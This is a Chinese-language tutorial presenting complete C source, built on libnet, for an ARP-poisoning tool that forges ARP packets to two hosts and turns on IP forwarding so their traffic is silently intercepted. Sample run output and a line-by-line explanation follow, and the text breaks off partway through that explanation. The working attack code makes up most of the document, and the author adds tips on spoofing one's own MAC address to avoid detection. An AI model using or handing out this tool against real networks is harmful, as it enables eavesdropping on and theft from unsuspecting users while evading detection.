libnet/arpoison.c

接著就來利用libnet寫出一個arpoison攻擊。

一般情況下,電腦會發出一個ARP Request封包來詢問對應的MAC Address,目標主機確認自己是被詢問的目標就會回覆一個ARP Reply封包回應發送端。像這樣自動學習的系統最容易被攻擊,ARP本身沒有驗證的功能,所以任何人只要能夠偽造ARP Reply或ARP Request就能造成網路異常。

這個arpoison程式能夠偽造ARP封包,讓受害者兩方的封包會經過自己,並且開啟轉送封包的功能,受害者雙方只要沒有綁定網卡或是利用ARP Proxy等其他防禦方式,就會在毫無感覺的情況下被竊聽封包。

Source Code

//
//  arpoison.c
//  功能:ARP攻擊兩端,並且開啟轉送封包的功能。
//  Created by 聲華 陳 on 2016/02/05.
//

#include <stdio.h>
#include <stdlib.h>
#include <libnet.h>
#include <sys/sysctl.h>

u_int8_t *mac_aton(const char *mac_address);
u_int32_t ip_aton(const char *ip_address);
void usage(const char *cmd);
void signal_handler(int sig);
void set_forward(int value);
char *mac_ntoa(u_int8_t *d);
char *ip_ntoa(u_int32_t i);
void draw_sent(u_short operation,
               u_int8_t *sender_mac_address, u_int32_t sender_ip_address,
               u_int8_t *target_mac_address, u_int32_t target_ip_address);

static libnet_t *handle = NULL;

int main(int argc, const char * argv[]) {

    char errbuf[LIBNET_ERRBUF_SIZE];
    int c;
    char device[256] = {};
    u_int16_t op = ARPOP_REPLY;
    u_int32_t ip_address1 = 0, ip_address2 = 0;
    u_int8_t mac_address1[6] = {}, mac_address2[6] = {};
    int interval = 500 * 1000; //0.5s
    libnet_ptag_t arp_tag = LIBNET_PTAG_INITIALIZER;
    libnet_ptag_t ethernet_tag = LIBNET_PTAG_INITIALIZER;
    int length;
    u_int32_t sender_ip_address = 0, target_ip_address = 0;
    u_int8_t *my_mac_address = NULL, *target_mac_address = NULL;
    int reversed = 1;

    //parse argument
    opterr = 0; //don't show default error message
    while((c = getopt(argc, (char * const *)argv, "i:d:t:aw:")) != EOF) {
        switch (c) {
            case 'i':
                strlcpy(device, optarg, sizeof(device));
                break;

            case 'a':
                op = ARPOP_REQUEST;
                break;

            case 'w':
                interval = atoi(optarg) * 1000;
                if(interval == 0) {
                    fprintf(stderr, "Invalid interval value: %s\n", optarg);
                    exit(1);
                }//end if
                break;

            case 'd':

                if(optind + 1 > argc) {
                    usage(argv[0]);
                }//end if

                if(*optarg == '1') {
                    ip_address1 = ip_aton(argv[optind++]);
                }//end if
                else if(*optarg == '2') {
                    ip_address2 = ip_aton(argv[optind++]);
                }//end if
                else {
                    usage(argv[0]);
                }//end else
                break;

            case 't':

                if(optind + 1 > argc) {
                    usage(argv[0]);
                }//end if

                if(*optarg == '1') {
                    memcpy(mac_address1, mac_aton(argv[optind++]), sizeof(mac_address1));
                }//end if
                else if(*optarg == '2') {
                    memcpy(mac_address2, mac_aton(argv[optind++]), sizeof(mac_address2));
                }//end if
                else {
                    usage(argv[0]);
                }//end else
                break;

            case '?':
            case 'h':
            default:
                usage(argv[0]);
                break;
        }//end switch
        if(optind > argc) {
            usage(argv[0]);
        }//end if
    }//end while

    //check value
    if(!strcmp(device, "") ||
       ip_address1 == 0 || ip_address2 == 0) {
        usage(argv[0]);
    }//end if

    if(op == ARPOP_REPLY && (!strcmp((char *)mac_address1, "") || !strcmp((char *)mac_address2, ""))) {
        usage(argv[0]);
    }//end if

    //set signal handler
    if(signal(SIGINT, signal_handler) == SIG_ERR) {
        fprintf(stderr, "signal: %s\n", strerror(errno));
        exit(1);
    }//end if

    //forward enable
    set_forward(1);

    //init
    handle = libnet_init(LIBNET_LINK, device, errbuf);
    if(!handle) {
        fprintf(stderr, "libnet_init: %s\n", errbuf);
        exit(1);
    }//end if

    //get my mac address
    my_mac_address = (u_int8_t *)libnet_get_hwaddr(handle);
    if(!my_mac_address) {
        fprintf(stderr, "libnet_get_hwaddr: %s\n", libnet_geterror(handle));
        if(handle) {
            libnet_destroy(handle);
            handle = NULL;
        }//end if
        exit(1);
    }//end if

    while(1) {
        if(reversed) {
            sender_ip_address = ip_address2;
            target_ip_address = ip_address1;
            target_mac_address = mac_address1;
        }//end if
        else {
            sender_ip_address = ip_address1;
            target_ip_address = ip_address2;
            target_mac_address = mac_address2;
        }//end else
        reversed = !reversed;

        if(op == ARPOP_REPLY) {
            arp_tag = libnet_build_arp(ARPHRD_ETHER,
                                       //hardware type, 1
                                       ETHERTYPE_IP,
                                       //protocol type, 0x0800
                                       ETHER_ADDR_LEN,
                                       //hardware length, 6
                                       4,
                                       //protocol length
                                       op,
                                       //arp operation
                                       (const u_int8_t *)my_mac_address,
                                       //source hardware address, my mac address
                                       (const u_int8_t *)&sender_ip_address,
                                       //source protocol address
                                       (const u_int8_t *)target_mac_address,
                                       //target hardware address
                                       (u_int8_t *)&target_ip_address,
                                       //target protocol address
                                       NULL,
                                       0,
                                       handle,
                                       arp_tag);
            if(arp_tag == -1) {
                fprintf(stderr, "libnet_build_arp: %s\n", libnet_geterror(handle));
                break;
            }//end if

            ethernet_tag = libnet_build_ethernet((const u_int8_t *)target_mac_address,
                                                 (const u_int8_t *)my_mac_address,
                                                 ETHERTYPE_ARP,
                                                 NULL,
                                                 0,
                                                 handle,
                                                 ethernet_tag);

            if(ethernet_tag == -1) {
                fprintf(stderr, "libnet_build_ethernet: %s\n", libnet_geterror(handle));
                break;
            }//end if
        }//end if
        else {
            arp_tag = libnet_build_arp(ARPHRD_ETHER,
                                       //hardware type, 1
                                       ETHERTYPE_IP,
                                       //protocol type, 0x0800
                                       ETHER_ADDR_LEN,
                                       //hardware length, 6
                                       4,
                                       //protocol length
                                       op,
                                       //arp operation
                                       (const u_int8_t *)my_mac_address,
                                       //source hardware address, my mac address
                                       (const u_int8_t *)&sender_ip_address,
                                       //source protocol address
                                       (const u_int8_t *)mac_aton("00:00:00:00:00:00"),
                                       //target hardware address
                                       (u_int8_t *)&target_ip_address,
                                       //target protocol address
                                       NULL,
                                       0,
                                       handle,
                                       arp_tag);
            if(arp_tag == -1) {
                fprintf(stderr, "libnet_build_arp: %s\n", libnet_geterror(handle));
                break;
            }//end if

            if(ethernet_tag == LIBNET_PTAG_INITIALIZER) {
                ethernet_tag = libnet_build_ethernet(mac_aton("ff:ff:ff:ff:ff:ff"),
                                                     (const u_int8_t *)my_mac_address,
                                                     ETHERTYPE_ARP,
                                                     NULL,
                                                     0,
                                                     handle,
                                                     ethernet_tag);

                if(ethernet_tag == -1) {
                    fprintf(stderr, "libnet_build_ethernet: %s\n", libnet_geterror(handle));
                    break;
                }//end if
            }//end if
        }//end else

        length = libnet_write(handle);
        if(length == -1) {
            fprintf(stderr, "libnet_write: %s\n", libnet_geterror(handle));
            break;
        }//end if
        else {
            printf("Sent:\n");
            if(op == ARPOP_REPLY) {
                draw_sent(op,
                          my_mac_address, sender_ip_address,
                          target_mac_address, target_ip_address);
            }//end if
            else {
                draw_sent(op,
                          my_mac_address, sender_ip_address,
                          mac_aton("00:00:00:00:00:00"), target_ip_address);
            }
            printf("\n");
        }//end else

        usleep(interval);

    }//end while

    //forward disable
    set_forward(0);

    //free
    if(handle) {
        libnet_destroy(handle);
        handle = NULL;
    }//end if

    return 0;
}

u_int8_t *mac_aton(const char *mac_address) {
#define FUNCTION_BUFFER 256
    static u_char buffer[FUNCTION_BUFFER][ETHER_ADDR_LEN];
    static int which = -1;
    u_char *temp = NULL;
    int len;
    which = (which + 1 == FUNCTION_BUFFER ? 0 : which + 1);

    memset(buffer[which], 0, sizeof(buffer[which]));

    temp = libnet_hex_aton(mac_address, &len);
    if(!temp) {
        fprintf(stderr, "libnet_hex_aton: %s?\n", mac_address);
        exit(1);
    }//end if

    //length is not 6
    if(len != ETHER_ADDR_LEN) {
        free(temp);
        fprintf(stderr, "libnet_hex_aton: %s, invalid length: %d\n", mac_address, len);
        exit(1);
    }//end if

    memcpy(buffer[which], temp, sizeof(buffer[which]));
    free(temp);

    return buffer[which];
}//mac_aton

void usage(const char *cmd) {
    printf("Usage: %s -i <Interface> -d1 <Target 1 IP Address> -t1 <Target 1 MAC Address> -d2 <Target 2 IP Address> -t2 <Target 2 MAC Address> [-a] [-w Interval ms]\n", cmd);
    exit(1);
}//end usage

void signal_handler(int sig) {
    //forward disable
    set_forward(0);

    //free
    if(handle) {
        libnet_destroy(handle);
        handle = NULL;
    }//end if

    exit(0);
}//end signal_function

char *mac_ntoa(u_int8_t *d) {
#define MAC_ADDRSTRLEN 2*6+5+1
    static char str[MAC_ADDRSTRLEN];

    snprintf(str, sizeof(str), "%02x:%02x:%02x:%02x:%02x:%02x", d[0], d[1], d[2], d[3], d[4], d[5]);

    return str;
}//end mac_ntoa

char *ip_ntoa(u_int32_t i) {
    static char str[INET_ADDRSTRLEN];

    inet_ntop(AF_INET, &i, str, sizeof(str));

    return str;
}//end ip_ntoa

u_int32_t ip_aton(const char *ip_address) {
    u_int32_t ip_integer;
    if(1 != inet_pton(AF_INET, ip_address, &ip_integer)) {
        fprintf(stderr, "Invalid IP address: %s\n", ip_address);
        exit(1);
    }//end if
    return ip_integer;
}//end if

void set_forward(int value) {
    if(value != 0 && value != 1) {
        fprintf(stderr, "sysctlbyname: value should be 1 or 0\n");
        exit(1);
    }//end if

    //set value on net.inet.ip.forwarding
    if(sysctlbyname("net.inet.ip.forwarding", NULL, NULL, &value, sizeof(value)) == -1) {
        fprintf(stderr, "sysctlbyname: %s\n", strerror(errno));
        exit(1);
    }//end if
}//end set_forward

void draw_sent(u_short operation,
               u_int8_t *sender_mac_address, u_int32_t sender_ip_address,
               u_int8_t *target_mac_address, u_int32_t target_ip_address) {
    static char *arp_op_name[] = {
        "Undefine",
        "(ARP Request)",
        "(ARP Reply)"
    };

    if(operation < 0 || sizeof(arp_op_name)/sizeof(arp_op_name[0]) < operation)
        operation = 0;

    printf("+---------------------------------------------------+\n");
    printf("| Operation:                      %4d%14s|\n", operation, arp_op_name[operation]);
    printf("+---------------------------------------------------+\n");
    printf("| Source MAC Address:              %17s|\n", mac_ntoa(sender_mac_address));
    printf("+---------------------------------------------------+\n");
    printf("| Source IP Address:                 %15s|\n", ip_ntoa(sender_ip_address));
    printf("+---------------------------------------------------+\n");
    printf("| Destination MAC Address:         %17s|\n", mac_ntoa(target_mac_address));
    printf("+---------------------------------------------------+\n");
    printf("| Destination IP Address:            %15s|\n", ip_ntoa(target_ip_address));
    printf("+---------------------------------------------------+\n");
}//end draw_sent

結果

libnet % ./arpoison 
Usage: ./arpoison -i <Interface> -d1 <Target 1 IP Address> -t1 <Target 1 MAC Address> -d2 <Target 2 IP Address> -t2 <Target 2 MAC Address> [-a] [-w Interval ms]
libnet % sudo ./arpoison -i en0 -d1 192.168.1.1 -t1 f8:1a:67:53:f5:dc -d2 192.168.1.101 -t2 d8:bb:2c:cc:16:ab
Sent:
+---------------------------------------------------+
| Operation:                         2   (ARP Reply)|
+---------------------------------------------------+
| Source MAC Address:              6c:40:08:bc:ae:98|
+---------------------------------------------------+
| Source IP Address:                   192.168.1.101|
+---------------------------------------------------+
| Destination MAC Address:         f8:1a:67:53:f5:dc|
+---------------------------------------------------+
| Destination IP Address:                192.168.1.1|
+---------------------------------------------------+

Sent:
+---------------------------------------------------+
| Operation:                         2   (ARP Reply)|
+---------------------------------------------------+
| Source MAC Address:              6c:40:08:bc:ae:98|
+---------------------------------------------------+
| Source IP Address:                     192.168.1.1|
+---------------------------------------------------+
| Destination MAC Address:         d8:bb:2c:cc:16:ab|
+---------------------------------------------------+
| Destination IP Address:              192.168.1.101|
+---------------------------------------------------+
...略

在其中一個受害者端ARP table內的192.168.1.101卡號已經與192.168.1.100相同,所以要送往192.168.1.101的封包會送給192.168.1.100。

參數

-i Interface #選擇從哪個interface送出
-d1 Target 1 IP Address #目標1的IP Address
-t1 Target 1 MAC Address #目標1的MAC Address
-d2 Target 2 IP Address #目標2的IP Address
-t2 Target 2 MAC Address #目標2的MAC Address
-a #使用ARP Request方式送出封包
-w #每個封包間隔,單位毫秒,預設500毫秒

分析

這是第一個具有攻擊行為的程式,如果隨便拿去攻擊別人被抓走不關我的事喔。

首先在開始之前我們先來講ARP原理,當主機A和主機B在同一個區域網路下並且已經被分配到IP Address後想要互相溝通,但是在Ethernet層無法填入對方的MAC Address,所以這時候就會使用ARP來詢問對方MAC Address。

一開始主機A會發出一個ARP Request廣播封包,詢問主機B的MAC Address,在這ARP Request封包內包含了主機A的IP Address和MAC Address,因為是廣播所以所有主機都會收到這封包,不管是不是被詢問的對象,都會將主機A的資訊記錄下來,接著主機B確認自己是被詢問的目標後,會回覆一個ARP Reply封包給主機A,這封包內就有了主機B的MAC Address,主機A收到封包後就可以取得主機B的MAC Address。

ARP是屬於簡單、自動學習且無驗證的協定,像這樣的協定最容易被攻擊。根據ARP的運作方式很明顯ARP Request的攻擊範圍最廣,整個區域網路都會受影響,不過一般arpoison是使用ARP Reply來攻擊特定目標。

接著來分析ARP Reply和ARP Request封包,先來看看正常情況下的ARP Reply封包: 因為我們要用ARP Reply方式修改兩方的ARP Table,必須要知道雙方的MAC Address和IP Address以及自己的MAC Address,共有五個參數需要。

那麼正常情況的ARP Request封包: ARP Request封包因為是要詢問對方MAC Address,所以只需要三個參數:目標1的IP Address、目標2的IP Address和自己的MAC Address。


那麼來開始寫程式吧。

u_int8_t *mac_aton(const char *mac_address);
u_int32_t ip_aton(const char *ip_address);
void usage(const char *cmd);
void signal_handler(int sig);
void set_forward(int value);
char *mac_ntoa(u_int8_t *d);
char *ip_ntoa(u_int32_t i);
void draw_sent(u_short operation,
               u_int8_t *sender_mac_address, u_int32_t sender_ip_address,
               u_int8_t *target_mac_address, u_int32_t target_ip_address);

static libnet_t *handle = NULL;

函數和全域變數宣告有這些:函數mac_aton()是將字串MAC Address轉成網路封包能用的格式;函數ip_aton()是將字串的IP Address轉成網路順序地址;函數usage()用來顯示該程式的用法;函數signal_handler()用來處理當按下Ctrl+C時的狀況;函數set_forward()是用來開關封包轉送功能;函數mac_ntoa()ip_ntoa()前面也常用到,將網路資料格式的MAC Address或IP Address轉成字串;函數draw_sent()用來畫出送出的ARP封包部分欄位;變數handle是一個libnet的handle。


void usage(const char *cmd) {
    printf("Usage: %s -i <Interface> -d1 <Target 1 IP Address> -t1 <Target 1 MAC Address> -d2 <Target 2 IP Address> -t2 <Target 2 MAC Address> [-a] [-w Interval ms]\n", cmd);
    exit(1);
}//end usage

先來看看函數usage(),該程式需要讀入Interface、目標1的IP Address、MAC Address和目標2的IP Address、MAC Address,aw選項是可有可無的,列印完使用方式後就直接結束程式。


    //parse argument
    opterr = 0; //don't show default error message
    while((c = getopt(argc, (char * const *)argv, "i:d:t:aw:")) != EOF) {
        switch (c) {
            case 'i':
                strlcpy(device, optarg, sizeof(device));
                break;

            case 'a':
                op = ARPOP_REQUEST;
                break;

            case 'w':
                interval = atoi(optarg) * 1000;
                if(interval == 0) {
                    fprintf(stderr, "Invalid interval value: %s\n", optarg);
                    exit(1);
                }//end if
                break;

            case 'd':

                if(optind + 1 > argc) {
                    usage(argv[0]);
                }//end if

                if(*optarg == '1') {
                    ip_address1 = ip_aton(argv[optind++]);
                }//end if
                else if(*optarg == '2') {
                    ip_address2 = ip_aton(argv[optind++]);
                }//end if
                else {
                    usage(argv[0]);
                }//end else
                break;

            case 't':

                if(optind + 1 > argc) {
                    usage(argv[0]);
                }//end if

                if(*optarg == '1') {
                    memcpy(mac_address1, mac_aton(argv[optind++]), sizeof(mac_address1));
                }//end if
                else if(*optarg == '2') {
                    memcpy(mac_address2, mac_aton(argv[optind++]), sizeof(mac_address2));
                }//end if
                else {
                    usage(argv[0]);
                }//end else
                break;

            case '?':
            case 'h':
            default:
                usage(argv[0]);
                break;
        }//end switch
        if(optind > argc) {
            usage(argv[0]);
        }//end if
    }//end while

    //check value
    if(!strcmp(device, "") ||
       ip_address1 == 0 || ip_address2 == 0) {
        usage(argv[0]);
    }//end if

    if(op == ARPOP_REPLY && (!mac_address1 || !mac_address2)) {
        usage(argv[0]);
    }//end if

首先來解析讀入的參數,函數getopt()用來解析參數列,第三個參數使用"i:d:t:aw:",除了選項a以外每個選項後面跟著一個:,表示其他選項後面必須跟著一個參數。

...略
            case 'i':
                strlcpy(device, optarg, sizeof(device));
                break;
...略
`

當選項為i的時候,變數optarg指向選項i後面的參數,在這裡是Interface,所以就複製出來。

...略
            case 'a':
                op = ARPOP_REQUEST;
                break;
...略

當選項為a時,表示要用ARP Request方式,後面沒有需要參數。

...略
            case 'w':
                interval = atoi(optarg) * 1000;
                if(interval == 0) {
                    fprintf(stderr, "Invalid interval value: %s\n", optarg);
                    exit(1);
                }//end if
                break;
...略

選項為w時,表示封包發送間隔時間,單位毫秒,利用函數atoi()將指向參數的變數optarg轉成整數,因為後面使用的產生時間間隔函數單位為微秒,所以要乘以1000。

...略
            case 'd':

                if(optind + 1 > argc) {
                    usage(argv[0]);
                }//end if

                if(*optarg == '1') {
                    ip_address1 = ip_aton(argv[optind++]);
                }//end if
                else if(*optarg == '2') {
                    ip_address2 = ip_aton(argv[optind++]);
                }//end if
                else {
                    usage(argv[0]);
                }//end else
                break;

            case 't':

                if(optind + 1 > argc) {
                    usage(argv[0]);
                }//end if

                if(*optarg == '1') {
                    memcpy(mac_address1, mac_aton(argv[optind++]), sizeof(mac_address1));
                }//end if
                else if(*optarg == '2') {
                    memcpy(mac_address2, mac_aton(argv[optind++]), sizeof(mac_address2));
                }//end if
                else {
                    usage(argv[0]);
                }//end else
                break;

...略

選項dt格式相同,所以一起講。我們讀入目標1的IP Address的方式為-d1 192.168.1.1,使用-d後面緊接著一個1,所以讀取方式不太一樣。

...略
                if(optind + 1 > argc) {
                    usage(argv[0]);
                }//end if
...略

變數optind表示目前要處理的參數的Index,變數argv陣列的Index範圍為0argc-1,以防萬一參數只傳入-d1忘記給IP Address而Index越界造成程式直接不正常結束,所以加上這個if判斷是否越界了。因為我們有直接操作到變數optind所以要加上這個判斷。

...略
                if(*optarg == '1') {
                    ip_address1 = ip_aton(argv[optind++]);
                }//end if
                else if(*optarg == '2') {
                    ip_address2 = ip_aton(argv[optind++]);
                }//end if
                else {
                    usage(argv[0]);
                }//end else
                break;
...略

一樣變數optarg指向選項後面的參數,在這裡必須不是1就是2,確定是目標1或2後,直接使用變數optind取得接下來的參數,然後IP Address就用函數ip_aton()轉換成網路順序地址格式,MAC Address就用函數mac_aton()轉換,這邊要記得,我們的函數mac_aton()有buffer問題,所以要用函數memcpy()複製出來。取得參數後記得要將變數optind遞增讓它指向下一個選項或參數。

函數mac_aton()的buffer問題一樣在Return a String已經解釋過了呦。

...略
            case '?':
            case 'h':
            default:
                usage(argv[0]);
                break;
...略

當選項讀到h或其他時,就直接呼叫函數usage()結束程式,其他不在函數getopt()第三個參數的選項都會被當成?

...略
        if(optind > argc) {
            usage(argv[0]);
        }//end if
...略

因為我們有直接使用到變數optind所以都要檢查這個變數是否越界。如果沒有使用到變數optind,就可以不用檢查了。

    //check value
    if(!strcmp(device, "") ||
       ip_address1 == 0 || ip_address2 == 0) {
        usage(argv[0]);
    }//end if

    if(op == ARPOP_REPLY && (!strcmp((char *)mac_address1, "") || !strcmp((char *)mac_address2, ""))) {
        usage(argv[0]);
    }//end if

接著就當然來檢查是否有讀到參數,第一個if判斷Interface和兩個目標的IP Address,只要判斷變數是否還是跟初始值一樣,就表示沒有讀到參數。

第二個if是當選擇ARP Reply方式時候,就要多檢查兩個目標的MAC Address是否有讀到參數。


    //set signal handler
    if(signal(SIGINT, signal_handler) == SIG_ERR) {
        fprintf(stderr, "signal: %s\n", strerror(errno));
        exit(1);
    }//end if

因為我們的程式設計上是一個無窮迴圈,所以停止方法只有輸入Ctrl+C,使用函數signal()來註冊一個函數,當程式收到Ctrl+C的訊號時候,就會呼叫該函數,而這函數為signal_handler(),第一個參數就是要監聽的訊號,在這邊是Ctrl+C


    //forward enable
    set_forward(1);

然後我們打開封包轉送的功能。


這邊先來講函數set_forward()和函數signal_handler()

void set_forward(int value) {
    if(value != 0 && value != 1) {
        fprintf(stderr, "sysctlbyname: value should be 1 or 0\n");
        exit(1);
    }//end if

    //set value on net.inet.ip.forwarding
    if(sysctlbyname("net.inet.ip.forwarding", NULL, NULL, &value, sizeof(value)) == -1) {
        fprintf(stderr, "sysctlbyname: %s\n", strerror(errno));
        exit(1);
    }//end if
}//end set_forward

幾乎每個Linux/Unix/BSD核心的系統都有封包轉送的功能,而在MAC OS X上封包轉送是net.inet.ip.forwarding,可以使用指令sysctl來看目前的狀態。

~ % sysctl net.inet.ip.forwarding
net.inet.ip.forwarding: 0

預設沒有開啟,可以用w選項來設定數值。

~ % sudo sysctl -w net.inet.ip.forwarding=1
net.inet.ip.forwarding: 0 -> 1

指令上可以這樣修改數值,如果我們在知道整個完整的階層名稱,就可以使用函數sysctlbyname()來修改數值。


void signal_handler(int sig) {
    //forward disable
    set_forward(0);

    //free
    if(handle) {
        libnet_destroy(handle);
        handle = NULL;
    }//end if

    exit(0);
}//end signal_function

當收到Ctrl+C訊號時候就會呼叫該函數,第一步就是要關閉封包轉送,第二步就是要釋放libnet的handle,因為我們將變數宣告成全域變數,所以當釋放後必須要將變數handle指向NULL。

在物件導向語言(OOP)中,很多變數某種意義上是全域的,所以當釋放後必須指向NULL,以防重複釋放造成程式不正常結束。


    //init
    handle = libnet_init(LIBNET_LINK, device, errbuf);
    if(!handle) {
        fprintf(stderr, "libnet_init: %s\n", errbuf);
        exit(1);
    }//end if

接著終於是libnet的部分了,先呼叫函數libnet_init()初始化出一個libnet handle來使用,一樣記得我們要寫ARP封包,所以第一個參數為LIBNET_LINK


    //get my mac address
    my_mac_address = (u_int8_t *)libnet_get_hwaddr(handle);
    if(!my_mac_address) {
        fprintf(stderr, "libnet_get_hwaddr: %s\n", libnet_geterror(handle));
        if(handle) {
            libnet_destroy(handle);
            handle = NULL;
        }//end if
        exit(1);
    }//end if

使用函數libnet_get_hwaddr()來取得自己的MAC Address,當然囉,要騙人家將封包送給我們,當然要有自己的MAC Address。


    while(1) {
        if(reversed) {
            sender_ip_address = ip_address2;
            target_ip_address = ip_address1;
            target_mac_address = mac_address1;
        }//end if
        else {
            sender_ip_address = ip_address1;
            target_ip_address = ip_address2;
            target_mac_address = mac_address2;
        }//end else
        reversed = !reversed;
...略

接著進入寫送封包的迴圈,我們用變數sender_ip_addresstarget_ip_address以及target_mac_address來表示目前要填入的參數,至於沒有sender_mac_address是因為那就是要填入自己的MAC Address囉。變數reversed用來在每次迴圈都可以在truefalse互換。

第一次在寫arpoison的程式時我一直搞混sender和target的IP Address和MAC Address,所以這裡直接用變數指向要使用的參數,這樣就不容易搞混了。


...略
        if(op == ARPOP_REPLY) {
            arp_tag = libnet_build_arp(ARPHRD_ETHER,
                                       //hardware type, 1
                                       ETHERTYPE_IP,
                                       //protocol type, 0x0800
                                       ETHER_ADDR_LEN,
                                       //hardware length, 6
                                       4,
                                       //protocol length
                                       op,
                                       //arp operation
                                       (const u_int8_t *)my_mac_address,
                                       //source hardware address, my mac address
                                       (const u_int8_t *)&sender_ip_address,
                                       //source protocol address
                                       (const u_int8_t *)target_mac_address,
                                       //target hardware address
                                       (u_int8_t *)&target_ip_address,
                                       //target protocol address
                                       NULL,
                                       0,
                                       handle,
                                       arp_tag);
            if(arp_tag == -1) {
                fprintf(stderr, "libnet_build_arp: %s\n", libnet_geterror(handle));
                break;
            }//end if

            ethernet_tag = libnet_build_ethernet((const u_int8_t *)target_mac_address,
                                                 (const u_int8_t *)my_mac_address,
                                                 ETHERTYPE_ARP,
                                                 NULL,
                                                 0,
                                                 handle,
                                                 ethernet_tag);

            if(ethernet_tag == -1) {
                fprintf(stderr, "libnet_build_ethernet: %s\n", libnet_geterror(handle));
                break;
            }//end if
        }//end if
        else {
...略

這邊就要依照ARP Reply和ARP Request分開建構封包,變數arp_tag和變數ethernet_tag用來記錄封包的tag,初始值皆是LIBNET_PTAG_INITIALIZER,所以在第一次迴圈會建立新的表頭,其他次迴圈會修改第一次迴圈的表頭,這樣就不用重複釋放空間又初始化一個libnet handle出來了。

這邊會注意的說為何Ethernet層的Source MAC Address要填自己的MAC Address,我們回頭想整個網路分層的概念,Ethernet層解析完封包如果下一層協定是ARP,就把接下來的封包丟給負責ARP的程序(Process)處理,所以Ethernet層填入什麼並不影響ARP的結果,但是這樣還是沒回答到問題。

在一般接線的Ethernet網路中,Data-link層被分成兩個子層:LLC(Logical Link Control)和MAC(Media Access Control),LLC有:Destination Service Access Point、Source Service Access Point和Control,共3或4 bytes;MAC就是我們寫封包時填入的Destination MAC Address、Source MAC Address和Type的14 bytes部分。填完這一整個封包,剩下對齊用的表頭和表尾(trailer)CRC檢查碼NIC自動填入後就可以送出了,並沒有什麼太大問題(現代Ethernet網路幾乎沒有LLC這部分了)。

有興趣可以去搜尋「IEEE 802.3」。

但是現在主要是無線區域網路(WLAN),我們雖然看見的封包跟Ethernet一樣有14 bytes的表頭,但實際上在送出的時候,NIC會將Ethernet的封包轉成IEEE 802.11的封包,而轉換過程要填入自己的MAC Address,接收封包的時候一樣要將IEEE 802.11封包轉成Ethernet,問題就在於轉換時要填入自己的MAC Address,如果我們的Source MAC Address填入非自己的MAC Address,轉換過程中會有問題,即使能送出,目的端收到後轉換也不見得會成功,這就是為何Source MAC Address要填入自己的MAC Address原因。

可以使用指令ifconfig修改自己的MAC Address,這樣轉換封包的時候就可以正常,雖然很麻煩,但是就更不容易被抓到。

再回到前面所說的網路分層的概念,填入自己的MAC Address不只封包轉換正常,結果也會正確,但是相對的很容易就被抓到了。

無線網路可以搜尋「IEEE 802.11b」。


...略
        else {
            arp_tag = libnet_build_arp(ARPHRD_ETHER,
                                       //hardware type, 1
                                       ETHERTYPE_IP,
                                       //protocol type, 0x0800
                                       ETHER_ADDR_LEN,
                                       //hardware length, 6
                                       4,
                                       //protocol length
                                       op,
                                       //arp operation
                                       (const u_int8_t *)my_mac_address,
                                       //source hardware address, my mac address
                                       (const u_int8_t *)&sender_ip_address,
                                       //source protocol address
                                       (const u_int8_t *)mac_aton("00:00:00:00:00:00"),
                                       //target hardware address
                                       (u_int8_t *)&target_ip_address,
                                       //target protocol address
                                       NULL,
                                       0,
                                       handle,
                                       arp_tag);
            if(arp_tag == -1) {
                fprintf(stderr, "libnet_build_arp: %s\n", libnet_geterror(handle));
                break;
            }//end if

            if(ethernet_tag == LIBNET_PTAG_INITIALIZER) {
                ethernet_tag = libnet_build_ethernet(mac_aton("ff:ff:ff:ff:ff:ff"),
                                                     (const u_int8_t *)my_mac_address,
                                                     ETHERTYPE_ARP,
                                                     NULL,
                                                     0,
                                                     handle,
                                                     ethernet_tag);

                if(ethernet_tag == -1) {
                    fprintf(stderr, "libnet_build_ethernet: %s\n", libnet_geterror(handle));
                    break;
                }//end if
            }//end if
        }//end else
...略

而ARP Request的封包,Target MAC Address部分因為不知道,所以要填入00:00:00:00:00:00,Ethernet的Destination MAC Addreess則是廣播ff:ff:ff:ff:ff:ff


        length = libnet_write(handle);
        if(length == -1) {
            fprintf(stderr, "libnet_write: %s\n", libnet_geterror(handle));
            break;
        }//end if
        else {
            printf("Sent:\n");
            if(op == ARPOP_REPLY) {
                draw_sent(op,
                          my_mac_address, sender_ip_address,
                          target_mac_address, target_ip_address);
            }//end if
            else {
                draw_sent(op,
                          my_mac_address, sender_ip_address,
                          mac_aton("00:00:00:00:00:00"), target_ip_address);
            }
            printf("\n");
        }//end else

        usleep(interval);

    }//end while

完成封包填寫就就呼叫函數libnet_write()來送出封包,當成功送出封包後就呼叫draw_sent()來畫出部分ARP封包。這邊記得一定要使用一種送出時間的間隔函數,我們使用函數usleep()讓他暫停一下,否則無窮迴圈速度太快,會造成網路阻塞,函數usleep()單位奈秒。


    //forward disable
    set_forward(0);

    //free
    if(handle) {
        libnet_destroy(handle);
        handle = NULL;
    }//end if

接著部分在正常情況下當然不會執行到,可是一定要處理好所有狀況,這才是一個健全的好程式,在結束前先關掉封包轉送,接著釋放資源。


u_int8_t *mac_aton(const char *mac_address) {
#define FUNCTION_BUFFER 256
    static u_char buffer[FUNCTION_BUFFER][ETHER_ADDR_LEN];
    static int which = -1;
    u_char *temp = NULL;
    int len;
    which = (which + 1 == FUNCTION_BUFFER ? 0 : which + 1);

    memset(buffer[which], 0, sizeof(buffer[which]));

    temp = libnet_hex_aton(mac_address, &len);
    if(!temp) {
        fprintf(stderr, "libnet_hex_aton: %s?\n", mac_address);
        exit(1);
    }//end if

    //length is not 6
    if(len != ETHER_ADDR_LEN) {
        free(temp);
        fprintf(stderr, "libnet_hex_aton: %s, invalid length: %d\n", mac_address, len);
        exit(1);
    }//end if

    memcpy(buffer[which], temp, sizeof(buffer[which]));
    free(temp);

    return buffer[which];
}//mac_aton

函數mac_aton()用來將字串格式的MAC Address轉成網路可用的格式,這邊搭配函數libnet_hex_aton()來撰寫。


u_int32_t ip_aton(const char *ip_address) {
    u_int32_t ip_integer;
    if(1 != inet_pton(AF_INET, ip_address, &ip_integer)) {
        fprintf(stderr, "Invalid IP address: %s\n", ip_address);
        exit(1);
    }//end if
    return ip_integer;
}//end if

函數ip_aton()用來將字串的IP Address轉成網路順序格式,直接使用函數inet_pton()轉換,因為IPv4的地址本質只是一個unsigned的32位元int,所以並不需要使用buffer。


void draw_sent(u_short operation,
               u_int8_t *sender_mac_address, u_int32_t sender_ip_address,
               u_int8_t *target_mac_address, u_int32_t target_ip_address) {
    static char *arp_op_name[] = {
        "Undefine",
        "(ARP Request)",
        "(ARP Reply)"
    };

    if(operation < 0 || sizeof(arp_op_name)/sizeof(arp_op_name[0]) < operation)
        operation = 0;

    printf("+---------------------------------------------------+\n");
    printf("| Operation:                      %4d%14s|\n", operation, arp_op_name[operation]);
    printf("+---------------------------------------------------+\n");
